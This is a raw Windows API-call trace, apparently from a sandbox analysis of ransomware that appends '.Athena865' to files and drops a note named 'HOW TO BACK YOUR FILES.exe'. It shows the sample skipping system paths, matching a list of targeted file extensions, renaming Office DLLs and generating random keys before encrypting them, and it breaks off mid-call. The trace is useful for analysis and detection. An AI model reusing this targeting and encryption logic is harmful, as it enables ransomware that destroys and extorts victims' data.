1 [0094.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5393b0 [0094.435] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5393b0 | out: hHeap=0x4f0000) returned 1 [0094.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0094.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0094.435] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0094.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0094.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0094.435] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0094.435] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0094.435] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0094.435] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0094.435] CloseHandle (hObject=0x17c) returned 1 [0094.435] CloseHandle (hObject=0x154) returned 1 [0094.435] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0094.435] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518bc8 | out: hHeap=0x4f0000) returned 1 [0094.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0094.436] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e19db00, ftCreationTime.dwHighDateTime=0x1cb701d, ftLastAccessTime.dwLowDateTime=0xade41600, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e19db00, ftLastWriteTime.dwHighDateTime=0x1cb701d, nFileSizeHigh=0x0, nFileSizeLow=0x3e380, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OLKFSTUB.DLL", cAlternateFileName="")) returned 1 [0094.436] lstrcmpiW (lpString1="OLKFSTUB.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0094.436] lstrcmpiW (lpString1="OLKFSTUB.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0094.436] lstrcmpiW (lpString1="OLKFSTUB.DLL", lpString2=".") returned 1 [0094.436] lstrcmpiW (lpString1="OLKFSTUB.DLL", lpString2="..") returned 1 [0094.436] lstrcmpiW (lpString1="OLKFSTUB.DLL", lpString2="windows") returned -1 [0094.436] lstrcmpiW (lpString1="OLKFSTUB.DLL", lpString2="bootmgr") returned 1 [0094.436] lstrcmpiW (lpString1="OLKFSTUB.DLL", lpString2="temp") returned -1 [0094.436] lstrcmpiW (lpString1="OLKFSTUB.DLL", lpString2="pagefile.sys") returned -1 [0094.436] lstrcmpiW (lpString1="OLKFSTUB.DLL", lpString2="boot") returned 1 [0094.436] lstrcmpiW (lpString1="OLKFSTUB.DLL", lpString2="ids.txt") returned 1 [0094.436] lstrcmpiW (lpString1="OLKFSTUB.DLL", lpString2="ntuser.dat") returned 1 [0094.436] lstrcmpiW (lpString1="OLKFSTUB.DLL", lpString2="perflogs") returned -1 [0094.436] lstrcmpiW (lpString1="OLKFSTUB.DLL", lpString2="MSBuild") returned 1 [0094.436] lstrlenW (lpString="OLKFSTUB.DLL") returned 12 [0094.436] lstrcpyW (in: lpString1=0x241e8aa, lpString2="OLKFSTUB.DLL" | out: lpString1="OLKFSTUB.DLL") returned="OLKFSTUB.DLL" [0094.436] lstrlenW (lpString="OLKFSTUB.DLL") returned 12 [0094.436] lstrlenW (lpString="Athena865") returned 9 [0094.436] lstrcmpiW (lpString1="FSTUB.DLL", lpString2="Athena865") returned 1 [0094.436] lstrlenW (lpString=".dll") returned 4 [0094.436] lstrcmpiW (lpString1="OLKFSTUB.DLL", lpString2=".dll") returned 1 [0094.436] lstrlenW (lpString=".lnk") returned 4 [0094.436] lstrcmpiW (lpString1="OLKFSTUB.DLL", lpString2=".lnk") returned 1 [0094.437] lstrlenW (lpString=".ini") returned 4 [0094.437] lstrcmpiW (lpString1="OLKFSTUB.DLL", lpString2=".ini") returned 1 [0094.437] lstrlenW (lpString=".sys") returned 4 [0094.437] lstrcmpiW (lpString1="OLKFSTUB.DLL", lpString2=".sys") returned 1 [0094.437] lstrlenW (lpString="OLKFSTUB.DLL") returned 12 [0094.437] lstrlenW (lpString="bak") returned 3 [0094.437] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0094.437] lstrlenW (lpString="ba_") returned 3 [0094.437] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0094.437] lstrlenW (lpString="dbb") returned 3 [0094.437] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0094.437] lstrlenW (lpString="vmdk") returned 4 [0094.437] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0094.437] lstrlenW (lpString="rar") returned 3 [0094.437] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0094.437] lstrlenW (lpString="zip") returned 3 [0094.437] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0094.437] lstrlenW (lpString="tgz") returned 3 [0094.437] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0094.437] lstrlenW (lpString="vbox") returned 4 [0094.437] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0094.437] lstrlenW (lpString="vdi") returned 3 [0094.437] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0094.437] lstrlenW (lpString="vhd") returned 3 [0094.437] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0094.437] lstrlenW (lpString="vhdx") returned 4 [0094.437] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0094.437] lstrlenW (lpString="avhd") returned 4 [0094.437] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0094.437] lstrlenW (lpString="db") returned 2 [0094.437] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0094.437] lstrlenW (lpString="db2") returned 3 [0094.437] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0094.438] lstrlenW (lpString="db3") returned 3 [0094.438] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0094.438] lstrlenW (lpString="dbf") returned 3 [0094.438] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0094.438] lstrlenW (lpString="mdf") returned 3 [0094.438] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0094.438] lstrlenW (lpString="mdb") returned 3 [0094.438] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0094.438] lstrlenW (lpString="sql") returned 3 [0094.438] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0094.438] lstrlenW (lpString="sqlite") returned 6 [0094.438] lstrcmpiW (lpString1="UB.DLL", lpString2="sqlite") returned 1 [0094.438] lstrlenW (lpString="sqlite3") returned 7 [0094.438] lstrcmpiW (lpString1="TUB.DLL", lpString2="sqlite3") returned 1 [0094.438] lstrlenW (lpString="sqlitedb") returned 8 [0094.438] lstrcmpiW (lpString1="STUB.DLL", lpString2="sqlitedb") returned 1 [0094.438] lstrlenW (lpString="xml") returned 3 [0094.438] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0094.438] lstrlenW (lpString="$er") returned 3 [0094.438] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0094.438] lstrlenW (lpString="4dd") returned 3 [0094.438] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0094.438] lstrlenW (lpString="4dl") returned 3 [0094.438] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0094.438] lstrlenW (lpString="^^^") returned 3 [0094.438] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0094.438] lstrlenW (lpString="abs") returned 3 [0094.438] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0094.438] lstrlenW (lpString="abx") returned 3 [0094.438] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0094.438] lstrlenW (lpString="accdb") returned 5 [0094.438] lstrcmpiW (lpString1="B.DLL", lpString2="accdb") returned 1 [0094.439] lstrlenW (lpString="accdc") returned 5 [0094.439] lstrcmpiW (lpString1="B.DLL", lpString2="accdc") returned 1 [0094.439] lstrlenW (lpString="accde") returned 5 [0094.439] lstrcmpiW (lpString1="B.DLL", lpString2="accde") returned 1 [0094.439] lstrlenW (lpString="accdr") returned 5 [0094.439] lstrcmpiW (lpString1="B.DLL", lpString2="accdr") returned 1 [0094.439] lstrlenW (lpString="accdt") returned 5 [0094.439] lstrcmpiW (lpString1="B.DLL", lpString2="accdt") returned 1 [0094.439] lstrlenW (lpString="accdw") returned 5 [0094.439] lstrcmpiW (lpString1="B.DLL", lpString2="accdw") returned 1 [0094.439] lstrlenW (lpString="accft") returned 5 [0094.439] lstrcmpiW (lpString1="B.DLL", lpString2="accft") returned 1 [0094.439] lstrlenW (lpString="adb") returned 3 [0094.439] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0094.439] lstrlenW (lpString="adb") returned 3 [0094.439] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0094.439] lstrlenW (lpString="ade") returned 3 [0094.439] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0094.439] lstrlenW (lpString="adf") returned 3 [0094.439] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0094.439] lstrlenW (lpString="adn") returned 3 [0094.439] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0094.439] lstrlenW (lpString="adp") returned 3 [0094.439] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0094.439] lstrlenW (lpString="alf") returned 3 [0094.439] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0094.439] lstrlenW (lpString="ask") returned 3 [0094.439] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0094.439] lstrlenW (lpString="btr") returned 3 [0094.439] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0094.439] lstrlenW (lpString="cat") returned 3 [0094.439] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0094.440] lstrlenW (lpString="cdb") returned 3 [0094.440] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0094.440] lstrlenW (lpString="ckp") returned 3 [0094.440] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0094.440] lstrlenW (lpString="cma") returned 3 [0094.440] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0094.440] lstrlenW (lpString="cpd") returned 3 [0094.440] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0094.440] lstrlenW (lpString="dacpac") returned 6 [0094.440] lstrcmpiW (lpString1="UB.DLL", lpString2="dacpac") returned 1 [0094.440] lstrlenW (lpString="dad") returned 3 [0094.440] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0094.440] lstrlenW (lpString="dadiagrams") returned 10 [0094.440] lstrcmpiW (lpString1="KFSTUB.DLL", lpString2="dadiagrams") returned 1 [0094.440] lstrlenW (lpString="daschema") returned 8 [0094.440] lstrcmpiW (lpString1="STUB.DLL", lpString2="daschema") returned 1 [0094.440] lstrlenW (lpString="db-journal") returned 10 [0094.440] lstrcmpiW (lpString1="KFSTUB.DLL", lpString2="db-journal") returned 1 [0094.440] lstrlenW (lpString="db-shm") returned 6 [0094.440] lstrcmpiW (lpString1="UB.DLL", lpString2="db-shm") returned 1 [0094.440] lstrlenW (lpString="db-wal") returned 6 [0094.440] lstrcmpiW (lpString1="UB.DLL", lpString2="db-wal") returned 1 [0094.440] lstrlenW (lpString="dbc") returned 3 [0094.440] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0094.440] lstrlenW (lpString="dbs") returned 3 [0094.440] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0094.440] lstrlenW (lpString="dbt") returned 3 [0094.440] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0094.440] lstrlenW (lpString="dbv") returned 3 [0094.440] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0094.440] lstrlenW (lpString="dbx") returned 3 [0094.440] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0094.441] lstrlenW (lpString="dcb") returned 3 [0094.441] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0094.441] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0094.441] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Office\\Office14\\OLKFSTUB.DLL.Athena865") returned 71 [0094.441] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\OLKFSTUB.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\olkfstub.dll"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\OLKFSTUB.DLL.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\olkfstub.dll.athena865"), dwFlags=0x1) returned 1 [0094.442] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\OLKFSTUB.DLL.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\olkfstub.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0094.442] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=254848) returned 1 [0094.443] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0094.443] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0094.443] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518bc8 [0094.443] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518a30) returned 1 [0094.444] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0094.444] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.444] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3e680, lpName=0x0) returned 0x17c [0094.445] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3e680) returned 0x170000 [0094.457] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518a30) returned 1 [0094.458] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0094.458] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5393b0 [0094.458] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5393b0 | out: hHeap=0x4f0000) returned 1 [0094.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0094.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0094.458] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0094.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0094.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0094.458] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0094.459] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0094.459] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0094.459] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0094.463] CloseHandle (hObject=0x17c) returned 1 [0094.463] CloseHandle (hObject=0x154) returned 1 [0094.463] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0094.463] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518bc8 | out: hHeap=0x4f0000) returned 1 [0094.463] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0094.464] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7dee4000, ftCreationTime.dwHighDateTime=0x1cba068, ftLastAccessTime.dwLowDateTime=0xad14fe60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7dee4000, ftLastWriteTime.dwHighDateTime=0x1cba068, nFileSizeHigh=0x0, nFileSizeLow=0x9d590, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ONBttnIE.dll", cAlternateFileName="")) returned 1 [0094.464] lstrcmpiW (lpString1="ONBttnIE.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0094.464] lstrcmpiW (lpString1="ONBttnIE.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0094.464] lstrcmpiW (lpString1="ONBttnIE.dll", lpString2=".") returned 1 [0094.464] lstrcmpiW (lpString1="ONBttnIE.dll", lpString2="..") returned 1 [0094.464] lstrcmpiW (lpString1="ONBttnIE.dll", lpString2="windows") returned -1 [0094.464] lstrcmpiW (lpString1="ONBttnIE.dll", lpString2="bootmgr") returned 1 [0094.464] lstrcmpiW (lpString1="ONBttnIE.dll", lpString2="temp") returned -1 [0094.464] lstrcmpiW (lpString1="ONBttnIE.dll", lpString2="pagefile.sys") returned -1 [0094.464] lstrcmpiW (lpString1="ONBttnIE.dll", lpString2="boot") returned 1 [0094.464] lstrcmpiW (lpString1="ONBttnIE.dll", lpString2="ids.txt") returned 1 [0094.464] lstrcmpiW (lpString1="ONBttnIE.dll", lpString2="ntuser.dat") returned 1 [0094.464] lstrcmpiW (lpString1="ONBttnIE.dll", lpString2="perflogs") returned -1 [0094.464] lstrcmpiW (lpString1="ONBttnIE.dll", lpString2="MSBuild") returned 1 [0094.464] lstrlenW (lpString="ONBttnIE.dll") returned 12 [0094.464] lstrcpyW (in: lpString1=0x241e8aa, lpString2="ONBttnIE.dll" | out: lpString1="ONBttnIE.dll") returned="ONBttnIE.dll" [0094.464] lstrlenW (lpString="ONBttnIE.dll") returned 12 [0094.464] lstrlenW (lpString="Athena865") returned 9 [0094.464] lstrcmpiW (lpString1="ttnIE.dll", lpString2="Athena865") returned 1 [0094.465] lstrlenW (lpString=".dll") returned 4 [0094.465] lstrcmpiW (lpString1="ONBttnIE.dll", lpString2=".dll") returned 1 [0094.465] lstrlenW (lpString=".lnk") returned 4 [0094.465] lstrcmpiW (lpString1="ONBttnIE.dll", lpString2=".lnk") returned 1 [0094.465] lstrlenW (lpString=".ini") returned 4 [0094.465] lstrcmpiW (lpString1="ONBttnIE.dll", lpString2=".ini") returned 1 [0094.465] lstrlenW (lpString=".sys") returned 4 [0094.465] lstrcmpiW (lpString1="ONBttnIE.dll", lpString2=".sys") returned 1 [0094.465] lstrlenW (lpString="ONBttnIE.dll") returned 12 [0094.465] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Office\\Office14\\ONBttnIE.dll.Athena865") returned 71 [0094.465] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\ONBttnIE.dll" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\onbttnie.dll"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\ONBttnIE.dll.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\onbttnie.dll.athena865"), dwFlags=0x1) returned 1 [0094.466] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\ONBttnIE.dll.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\onbttnie.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0094.466] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=644496) returned 1 [0094.466] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0094.467] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0094.467] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518bc8 [0094.467] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518a30) returned 1 [0094.467] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0094.467] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.468] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9d890, lpName=0x0) returned 0x17c [0094.469] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9d890) returned 0x2d50000 [0094.492] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518a30) returned 1 [0094.492] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0094.492] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.492] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5393b0 [0094.492] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5393b0 | out: hHeap=0x4f0000) returned 1 [0094.492] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0094.493] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0094.493] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0094.493] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0094.493] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0094.493] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0094.493] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0094.493] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0094.493] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0094.498] CloseHandle (hObject=0x17c) returned 1 [0094.498] CloseHandle (hObject=0x154) returned 1 [0094.498] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0094.498] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518bc8 | out: hHeap=0x4f0000) returned 1 [0094.498] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0094.501] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7dee4000, ftCreationTime.dwHighDateTime=0x1cba068, ftLastAccessTime.dwLowDateTime=0xadeffce0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7dee4000, ftLastWriteTime.dwHighDateTime=0x1cba068, nFileSizeHigh=0x0, nFileSizeLow=0x79590, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ONBttnIELinkedNotes.dll", cAlternateFileName="ONBTTN~1.DLL")) returned 1 [0094.501] lstrcmpiW (lpString1="ONBttnIELinkedNotes.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0094.501] lstrcmpiW (lpString1="ONBttnIELinkedNotes.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0094.501] lstrcmpiW (lpString1="ONBttnIELinkedNotes.dll", lpString2=".") returned 1 [0094.501] lstrcmpiW (lpString1="ONBttnIELinkedNotes.dll", lpString2="..") returned 1 [0094.501] lstrcmpiW (lpString1="ONBttnIELinkedNotes.dll", lpString2="windows") returned -1 [0094.501] lstrcmpiW (lpString1="ONBttnIELinkedNotes.dll", lpString2="bootmgr") returned 1 [0094.501] lstrcmpiW (lpString1="ONBttnIELinkedNotes.dll", lpString2="temp") returned -1 [0094.501] lstrcmpiW (lpString1="ONBttnIELinkedNotes.dll", lpString2="pagefile.sys") returned -1 [0094.501] lstrcmpiW (lpString1="ONBttnIELinkedNotes.dll", lpString2="boot") returned 1 [0094.501] lstrcmpiW (lpString1="ONBttnIELinkedNotes.dll", lpString2="ids.txt") returned 1 [0094.501] lstrcmpiW (lpString1="ONBttnIELinkedNotes.dll", lpString2="ntuser.dat") returned 1 [0094.501] lstrcmpiW (lpString1="ONBttnIELinkedNotes.dll", lpString2="perflogs") returned -1 [0094.502] lstrcmpiW (lpString1="ONBttnIELinkedNotes.dll", lpString2="MSBuild") returned 1 [0094.502] lstrlenW (lpString="ONBttnIELinkedNotes.dll") returned 23 [0094.502] lstrcpyW (in: lpString1=0x241e8aa, lpString2="ONBttnIELinkedNotes.dll" | out: lpString1="ONBttnIELinkedNotes.dll") returned="ONBttnIELinkedNotes.dll" [0094.502] lstrlenW (lpString="ONBttnIELinkedNotes.dll") returned 23 [0094.502] lstrlenW (lpString="Athena865") returned 9 [0094.502] lstrcmpiW (lpString1="Notes.dll", lpString2="Athena865") returned 1 [0094.502] lstrlenW (lpString=".dll") returned 4 [0094.502] lstrcmpiW (lpString1="ONBttnIELinkedNotes.dll", lpString2=".dll") returned 1 [0094.502] lstrlenW (lpString=".lnk") returned 4 [0094.502] lstrcmpiW (lpString1="ONBttnIELinkedNotes.dll", lpString2=".lnk") returned 1 [0094.502] lstrlenW (lpString=".ini") returned 4 [0094.502] lstrcmpiW (lpString1="ONBttnIELinkedNotes.dll", lpString2=".ini") returned 1 [0094.502] lstrlenW (lpString=".sys") returned 4 [0094.502] lstrcmpiW (lpString1="ONBttnIELinkedNotes.dll", lpString2=".sys") returned 1 [0094.502] lstrlenW (lpString="ONBttnIELinkedNotes.dll") returned 23 [0094.502] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Office\\Office14\\ONBttnIELinkedNotes.dll.Athena865") returned 82 [0094.502] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\ONBttnIELinkedNotes.dll" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\onbttnielinkednotes.dll"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\ONBttnIELinkedNotes.dll.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\onbttnielinkednotes.dll.athena865"), dwFlags=0x1) returned 1 [0094.503] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\ONBttnIELinkedNotes.dll.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\onbttnielinkednotes.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0094.503] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=497040) returned 1 [0094.503] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0094.503] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0094.503] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518bc8 [0094.503] CryptAcquireContextW (in: phProv=0x241d1c4, 